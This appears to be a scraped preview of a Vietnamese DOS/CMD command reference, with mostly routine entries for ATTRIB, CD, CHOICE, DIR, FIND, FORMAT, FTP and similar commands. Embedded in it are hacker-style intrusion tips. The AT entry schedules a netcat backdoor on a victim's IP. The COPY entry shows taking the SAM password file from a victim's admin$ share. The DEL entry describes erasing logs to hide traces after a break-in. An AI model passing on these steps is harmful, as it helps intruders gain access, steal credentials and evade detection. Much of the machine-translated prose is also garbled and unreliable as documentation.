1. Trang chủ
  2. » Công Nghệ Thông Tin

Danh sách các lệnh DOS run CMD BAT

27 1,8K 9

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 27
Dung lượng 58,39 KB

Nội dung

Lệnh xuất thông tin thành file *.txt Câu lệnh >[drive]:\[path]\tenfile.txt ipconfig >C:\myip.txtHệ thống sẽ tạo ra file myip.txt lưu ở ổ đĩa C với thông tin là IP, Gateway, Subnet Mask T

Trang 1

Danh sách các lệnh DOS

https://en.wikipedia.org/wiki/List_of_DOS_commands

Với định dạng BAT thì nó được thực thi bởi command.com (16 bit trở lên)

Với định dạng.CMD thì nó được thực thi bởi cmd.exe (32bit trở lên)

cmd.exe chạy trong Windows hiện nay

command.com là thành phần của hệ điều hành DOS

Lệnh xuất thông tin thành file *.txt

Câu lệnh >[drive]:\[path]\tenfile.txt

ipconfig >C:\myip.txtHệ thống sẽ tạo ra file myip.txt lưu ở ổ đĩa C với thông tin là IP, Gateway, Subnet Mask

Thêm 1 vài câu lệnh

command >> file {Ghi command vào file}

command > nul

{ thực hiện các lệnh mà không hiển thị output, vd copy c:\boot.ini d:\ > nul}

command < file {Chạy command từ file}

ASSIGN

Trang 2

Các lệnh chuyển hướng yêu cầu cho các hoạt động đĩa trên một ổ đĩa sang một ổ đĩa khác nhau Nó cũng có thể hiển thị tập ổ đĩa hoặc thiết lập lại tất cả các ký tự ổ đĩa để tập ban đầu của họ Các lệnh có sẵn trong MS-DOS 5.00.

AT: Cú pháp: Code: AT \\ip Công dụng: + Thông thường khi xâm nhập vào máy tính

victim khi rút lui thì ta sẽ tặng quà lưu niệm lên máy tính victim, khi đã copy troj hoặc backdoor lên máy tính rùi ta sẽ dùng lệnh at để khởi động chúng Ví dụ: ở đây tui có con troj tên nc.exe (NC là từ viết tắc của NETCAT nó là một telnet server với port 99)

và đc copy lên máy victim rùi Đầu tiên ta cần biết thời gian của victim có IP là :

68.135.23.25 Code: Net Time \\68.135.23.25 Bây h nó sẽ phản hồi cho ta thời gian của victim, ví dụ : 12:00 Code: AT \\68.135.23.25 12:3 nc.exe Đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99

ATTRIB

đặt thuộc tính cho file , folder

Cú pháp: ATTRIB -A -S -H -R "file, thư mục"

ATTRIB +A +S +H +R "file, thư mục" /S /D

Trong đó:

dấu "-" : loại bỏ thuộc tính

dấu "+" : Thêm vào thuộc tính

A : (Archive) : thuộc tính lưu trữ

S : (System) : thuộc tính hệ thống

H : (Hidden) : thuộc tính ẩn

R : (Read - only ) : Thuộc tính chỉ đọc

/S : thực hiện với tất cả file nằm trong thư mục hiện hành, và tất cả các thư mục con./D : đặt thuộc tính cho thư mục và thư mục con, chứ không đặt thuộc tính cho file

BASIC và BASICA

An thực hiện các BASIC ngôn ngữ lập trình cho máy tính Thực hiện BASIC trong cách này là rất phổ biến trong các hệ thống điều hành trên 8 và 16-bit máy thực hiện trong năm 1980

Trang 3

IBM máy tính đã có BASIC 1.1 trong ROM, và các phiên bản BASIC của IBM sử dụng

mã trong ROM-BASIC này, trong đó cho phép thêm bộ nhớ trong mã vùng BASICA cuối cùng xuất hiện trong IBM PC DOS 5.02, vàOS / 2 (2.0 và sau này), phiên bản có ROM-BASIC chuyển vào mã chương trình

Microsoft phát hành GW-BASIC cho máy không có ROM-BASIC Một số phiên bản OEM có basic.com và basica.com như máy xúc cho GW-BASIC.EXE

Cơ bản đã được giảm xuống sau khi MS-DOS 4, và PC DOS 5.02 OS / 2 (trong đó sử dụng PC DOS 5), có nó, trong khi Microsoft Windows NT(MS-DOS 5) thì không

BCDEDIT

BCDEDIT /import "%HomeDrive%\BCD.LK"

set guid=%%a

bcdedit /set %guid% device boot

bcdedit /set %guid% device partition=%HomeDrive%

bcdedit /set %guid% PATH \grldr.mbr

bcdedit /displayorder %guid% /addlast

bcdedit /timeout 5

CALL

Lệnh này giúp bạn gọi ra một File Batch khác mà không kết thúc File Batch dang thực thi Lưu ý: File có phần mở rộng là BAT chỉ gọi được file có phần mở rộng là BAT chứ không thê gọi file có phần mở rộng làCMD Và ngược lại Tất nhiên là file BATCH được gọi sẽ tuân theo định dạng mà file BATCH đang thực thi đã định dạng trước đó Ví dụ CALL newbiex.cmd

CD và Chdir

CD C:\Windows { Vào thư mục Windows}

CD {Lùi trở về 1 thư mục, vd bạn đang ở thư mục windows\system32 thì nó lùi về thư mục Windows}

CD \ {Lùi về thư mục gốc (root)}

Lệnh này thay đổi thư mục hiện hành cần làm việc của đĩa nào đó

CD [drive:]\[path] ( tên thư mục cần vào)

Từ thư mục C:\ chuyển vào thư mục DAIHOC (Thư mục DAIHOC nằm trên ổ đĩa C)

Trang 4

CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [/M text]

Lập luận:

/C[:]choicesChỉ định các phím cho phép Mặc định là "YN".

/T[:]c,nn mặc định lựa chọn này để "c" sau giây "nn".

/M text Chỉ định chuỗi nhắc để hiển thị.

Flags:

/NChỉ định không để hiển thị các lựa chọn và "?" ở kết thúc chuỗi nhắc.

/CS Chỉ định rằng các phím lựa chọn phải được coi là trường hợp nhạy cảm.

Windows

Trang 5

CHOICE [/C [<Choice1><Choice2><…>]] [/N] [/CS] [/T <Timeout> /D <Choice>] [/M

<"Text">]

Lập luận:

/C[:]choicesChỉ định các phím cho phép Mặc định là "YN".

/T[:]nnmặc định lựa chọn này để / D sau giây "nn" Phải được xác định với

default / D

/D[:]c mặc định lựa chọn này để 'c'.

/M text Chỉ định chuỗi nhắc để hiển thị.

Flags:

/NChỉ định không để hiển thị các lựa chọn và "?" ở kết thúc chuỗi nhắc.

/CS Chỉ định rằng các phím lựa chọn phải được coi là trường hợp nhạy cảm.

Các tập tin thực thi dưới đây cho phép người sử dụng ba lựa chọn [5]Người sử dụng được đạo diễn phụ thuộc vào đầu vào của mình bằng cách đánh giá các mã thoát bằng cách sử dụng IF ERRORLEVELlệnh (mà kiểm tra trên "lớn hơn hoặc bằng") Sau đó lựa chọn được chọn sẽ được in ra màn hình bằng cách sử dụng ECHOlệnh

@ECHO off

@CHOICE /C:123

IF ERRORLEVEL 3 GOTO three

IF ERRORLEVEL 2 GOTO two

IF ERRORLEVEL 1 GOTO one

Trang 6

CLS hoặc CLRSCR lệnh xóa màn hình thiết bị đầu cuối

COPY

COPY "D:\jav.mp4" "E:\newfolder\jav.mp4" \Y

Cú pháp: Code: COPY /? Dùng lệnh trên để rõ hơn! Công dụng: + Copy file, tui khỏi nói thêm nhé Ví dụ:chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1 Code: Copy Index.html \\127.0.0.1\C$\index.html nếu bạn copy lên folder winNt Code: Copy index.html \\127.0.0.1\admin$\index.html muốn copy files trên máy victm thì bạn

gõ vào : Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\

- Cộng nội dung file: Copy [ổ đĩa][đường dẫn][tên tệp 1]+[ổ đĩa][đường dẫn] [tên tệp 2]+

… [ổ đĩa][đường dẫn][tên tệp mới]

- Lệnh sao chép các tập tin hệ thống: [d:][Path]sys [d1:]

Trang 7

Các lệnh có khả năng phân tích các phân mảnh tập tin trên ổ đĩa hoặc đểchống phân mảnh ổ đĩa Lệnh này được gọi là DEFRAG trong MS-DOS / PC DOS và diskopt trong DR-DOS

DEL và ERASE

Cú pháp: DEL [/P] [/F] [/S] [/Q] [/A[:]attributes]] "tên file"

Trong đó :

/P : Hiển thị thông tin file trước khi xóa

/F : Xóa các file có thuộc tính read-only

/S : Xóa file đó trong tất cả các thư mục

/Q : Xóa không cần hỏi

/A[[:]attributes] : xóa theo thuộc tính file

attributes : R: Read-only files, S: System files, H: Hidden files Ví dụ : xóa tất cả file trong thư mục C:\WINDOWS\Prefetch

Mã:

DEL /f /s /q "C:\WINDOWS\Prefetch\*.*" (*.* : tất cả các file)

Cú pháp: Code: DEL [drive:][path][filename] Lệnh này cũng căn bản rùi, ko phải nói nhìu Công dụng: Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.Sau đây là những files nhật ký của Win NT

Xóa một thư mục cùng với tất cả các file và thư mục con mà nó chứa.Thông thường,

nó sẽ yêu cầu xác nhận các hành động nguy hiểm tiềm tàng

Các deltreelệnh được bao gồm trong một số phiên bản của Microsoft Windows và Microsoft DOS Hệ điều hành Nó là đặc biệt chỉ có trong các phiên bản của MS-DOS 6.0 và cao hơn, và trong Microsoft Windows 9x Trong Windows NT, các chức năng

Trang 8

cung cấp tồn tại nhưng được xử lý bởi các lệnh thứ hay rmdir trong đó có cú pháp hơi khác nhau Lệnh này đã được chấp thuận cho Windows 7.

DIR

DIR hiển thị nội dung của một thư mục

DIR [drive:] [Path] [Tên thư mục] [/A][/S]{/P][W]}

Trong đó: /P : để xem từng trang

/W: Trình bày theo hàng ngang

/A : xem các tập tin có thuộc tính ẩn và hệ thống

/S: Xem cả thư mục con

Ví dụ:

DIR C:\WINDOWS /P /W

Lệnh trên sẽ hiển thị các tệp, thư mục thuộc thư mục WINDOWS nằm trong thư mục gốc ổ đĩa C thành 5 hàng và dừng lại sau khi hiển thị hết một trang màn hình Muốn xem tiếp chỉ việc nhấn một phím bất kỳ

DIR /? để được hướng dẫn Công dụng: + Để xem file, folder

ECHO

Các lệnh ECHO in lập luận riêng của mình lại ra tương đương với hệ điều hành DOS của dòng đầu ra tiêu chuẩn Thông thường, điều này có nghĩa là trực tiếp vào màn hình, nhưng đầu ra của tiếng vang có thể được chuyển hướng, giống như bất kỳ lệnh khác, để các tập tin hoặc các thiết bị Thường được sử dụng trong các tập tin batch để

in văn bản ra cho người dùng

Một ứng dụng quan trọng của lệnh echo là để chuyển vang vọng của các lệnh và tắt trong các file Theo truyền thống, các tập tin batch bắt đầu với@echo offtuyên bố Điều này nói với người phiên dịch mà vang vọng của các lệnh nên được tắt trong suốt thực hiện các tập tin thực thi, do đó dẫn đến một đầu ra "ngăn nắp" (các @biểu tượng tuyên

bố rằng lệnh này đặc biệt (echo off) cũng phải được thực hiện mà không có tiếng vang.)

ECHO OFF: lệnh này thường được đặt trên đầu của file BAT Khi chạy file BAT có lệnh

này, các lệnh phía dưới ECHO OFF sẽ không được hiển thị (tức là chỉ có nội dung, không cho biết lệnh nào được dùng)

Trang 9

EDIT là toàn màn hình soạn thảo văn bản , bao gồm MS-DOS 5 và 6, OS / 2 và

Windows NT 4.0 chương trình tương ứng trong Windows 95 và sau đó, và W2k và sau

đó là sửa v2.0 PC DOS 6 và sau đó sử dụng các hệ điều hành DOS E Editor và DOS được sử dụng biên tập viên lên đến phiên bản 7

DR-EDLIN

DOS đường biên Nó có thể được sử dụng với một tập tin script, như gỡ lỗi, điều này làm cho nó sử dụng một số thậm chí ngày hôm nay Sự vắng mặt của một biên tập giao diện điều khiển trong MS-DOS / PC DOS 1-4 tạo ra một thị trường sau cho các biên tập viên của bên thứ ba

Trong DOS 5, một lệnh phụ "?" đã được bổ sung để cung cấp cho người dùng nhiều sự giúp đỡ cần thiết

DOS 6 là phiên bản cuối cùng để chứa EDLIN, cho MS-DOS 6, đó là trên các đĩa bổ sung, PC DOS 6 đã có nó trong các cơ sở cài đặt Windows NT 32-bit, và OS / 2 có EDLIN

Trang 10

xóa các phân vùng DOS hoặc ổ đĩa DOS logic Nó cũng có thể cài đặt một tiêu chuẩn master boot record trên ổ đĩa cứng.

FIND

Lệnh FIND là một bộ lọc để tìm đường trong các đầu vào dòng dữ liệu có chứa hoặc không chứa một định chuỗi và gửi chúng cho các dòng dữ liệu đầu ra Nó cũng có thể được sử dụng như một ống

FIND [/V] [/C] [/N] [/I] "string" [[drive:][path]filename[ ]]

"string" tìm đoạn văn bản string trong 1 file

[drive:][path]filename Chỉ định một tập tin hoặc các tập tin để tìm kiếm

/V Hiển thị tất cả các dòng không chứa chuỗi quy định

/C Hiển thị chỉ số dòng có chứa chuỗi

/N Hiển thị xếp hàng số với các dòng hiển thị

/I Bỏ qua trường hợp của nhân vật khi tìm kiếm các chuỗi

find "keyword" < inputfilename > outputfilename

FOR %%i IN (D,E,F) DO COPY vnnewbies.cmd %%i

Với lệnh này biến i sẽ lần lượt nhận các giá trị D, E , F từ dó sẽ thực hiện

lệnh copy tệp vnnewbies.cmd sang thư mục gốc của các phân vùng c,D,F

FORMAT

[d:] [path] Format [d1] [/tham số]

[d:][Path]: ổ đĩa đường dẫn đến tên lệnh

[d:]: Tên ổ đĩa cần định dạng

/s: Tạo đĩa hệ thống

/u: format mà sau đó không thể sử dụng lệnh UNFORMAT để lấy lại dữ liệu

Trang 11

/q: định dạng nhanh

C\:FORMAT A: /S

FTP (truyền tải file): Cú pháp: Code: ftp ip/host

Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau: Code: ftp>_ Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp, thay vì dùng các chương trình kiểu Cute FTP, Flash FXP Nếu kết nối thành công, chương trình sẽ yêu cầu bạn nhập User name, Password Nếu username và pass hợp lệ, bạn sẽ được phép upload, duyệt file trên máy chủ Một số lệnh ftp cơ bản:

-cd thu_muc: chuyển sang thư mục khác trên máy chủ

- dir: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ - mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ

- rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ

- put file: tải một file file (đầy đủ cả đường dẫn VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ

- close: Đóng phiên làm việc

- quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu

Công dụng : + FTP là một giao thức được sử dụng để gửi và nhận file giữa các máy tính với nhau Windows đã cài đặt sẵn lệnh ftp, có tác dụng như một chương trình chạy trên nền console (văn bản), cho phép thực hiện kết nối đến máy chủ ftp

GoTo

Lệnh này giúp chúng ta bỏ qua một đoạn lệnh nào đó để di chuyển tới vị

irí mới Thông thường người ta kết họp lệnh này với cấu trúc rẽ nhánh đã

đề cập phía trên (If) để thực hiện các việc khác nhau cho các điều kiện

khác nhau

Ví dụ:

ECHO Chon Y - Neu dong y

ECHO Chon N - Neu ko dong y

set /p chon= Lua chon cua ban la:

Trang 12

Đây là lệnh giúp bạn thực hiện từng lệnh khác nhau tùy vào từng điều

kiện khác nhau Phép thử có 3 kiểu:

If [not] exist: Kiểm tra sự tồn tại

If [not] Chuồil = = Chuỗi2 : So sánh 2 chuỗi để tiến hành công việc

If [not] errorlevel # : Nếu có lỗi ở mức # thì thực hiện công việc

+) Với errorlevel 0 là không có lỗi trong quá trình thực hiện

+) Với errorlevel 1 là có lỗi xảy ra

[not] là thành phần tùy chọn giúp bạn phủ định điều kiện đứng sau nó

Tương tự như bằng một giá trị nào đó hoặc không bằng

BACKUP C:\*.* A: /s if errorlevel 3 goto END { Lệnh này thực hiện BACKUP ổ C, nếu errorlevel lớn hơn 3 thì sẽ được chuyển tới các lệnh trong label END

INTERSVR và Interlnk

Trong MS-DOS; filelink trong DR-DOS

Máy tính mạng bằng cáp null modem hoặc cáp Laplink Các phiên bản phía máy chủ của Interlnk, nó cũng immobilizes máy nó đang chạy trên vì nó là một ứng dụng hoạt động (như trái ngược với một TSR ứng dụng) mà phải chạy cho bất kỳ chuyển nhượng diễn ra DR-DOS ' filelinkđược thực hiện trên cả máy khách và máy chủ

IPCONFIG : Cú pháp: Code: ipconfig /all Công dụng: + Lệnh này sẽ cho phép hiển thị

cấu hình IP của máy tính bạn đang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng

JOIN

lệnh gắn một ổ đĩa vào một thư mục trên ổ đĩa khác [3] Điều ngược lại có thể đạt được thông qua SUBST lệnh

LABEL

Trang 13

Thay đổi nhãn trên một ổ đĩa logic, chẳng hạn như một phân vùng đĩa cứng hoặc đĩa mềm.VD

LABEL [drive:][label]

LABEL [/MP] [volume] [label]

Lập luận:

drive:Điều này đối số dòng lệnh quy định các ký tự ổ đĩa của ổ đĩa.

label Chỉ định nhãn của khối lượng.

volumeChỉ định ký tự ổ đĩa (tiếp theo là một dấu hai chấm), gắn kết điểm, hoặc

tên khối lượng

LOADHIGH và LH

hiload trong DR-DOS

MD

hoặc MKDIR

Tạo thư mục Cú pháp MD "tên thư mục cần tạo" ví dụ Tạo thư mục Bau trong ổ C

md "c:\bau" (tạo thư mục bau trong ổ đĩa C:\)

MEM

Trang 14

Hiển thị bộ nhớ sử dụng Nó có khả năng hiển thị kích thước chương trình và trạng thái,

bộ nhớ sử dụng, và drivers.It nội bộ là lệnh nội bộ

MEMMAKER

Bắt đầu với phiên bản 6, MS-DOS bao gồm các chương trình MemMaker bên ngoài mà

đã được sử dụng vào bộ nhớ hệ thống miễn phí (đặc biệt làbộ nhớ thông thường ) bằng cách tự động cấu hình lại AUTOEXEC.BATvà CONFIG.SYS file Điều này đã được thường được thực hiện bằng cách di chuyển các chương trình TSR và điều khiển thiết bị cho bộ nhớ trên Toàn bộ quá trình yêu cầu hai khởi động lại hệ thống Trước khi khởi động lại đầu tiên người dùng được hỏi liệu anh / cô ấy muốn để cho phépEMS bộ nhớ , vì sử dụng bộ nhớ mở rộng đòi hỏi một khu vực 64KiB được dự trữ trong bộ nhớ trên Việc khởi động lại đầu tiên đưa vào chương trình SIZER.EXE mà hiệu chỉnh bộ nhớ cần thiết bởi mỗi TSR hoặc Driver MemMaker sau đó sẽ tính toán điều khiển tối

ưu và TSR vị trí trong bộ nhớ trên và sửa đổi các AUTOEXEC.BAT và CONFIG.SYS cho phù hợp, và khởi động lại lần thứ hai [5]

MEMMAKER.EXE và SIZER.EXE được phát triển cho Microsoft bởi Công ty Phần mềm Helix và đã bị loại bắt đầu từ MS DOS 7 / Windows 95 PC DOS sử dụng một chương trình khác RamBoost để tối ưu hóa bộ nhớ, làm việc hoặc với PC DOS của HIMEM / EMM386 hoặc một bên thứ ba quản lý bộ nhớ RamBoost được cấp phép IBM bằng phần mềm Central Point

MOVE

Chuyển các tập tin hoặc đặt lại tên thư mục

MOVE /Y [ổ đĩa:]\[đường dẫn]\[tên tập tin] [ổ đĩa:]\[đường dẫn]\[tên tập tin mới]

MOVE /Y [ổ đĩa:]\[đường dẫn]\[tên cũ của thư mục] [ổ đĩa:]\[đường dẫn]\[tên mới của thư mục]

Ngày đăng: 05/09/2016, 22:23

TỪ KHÓA LIÊN QUAN

w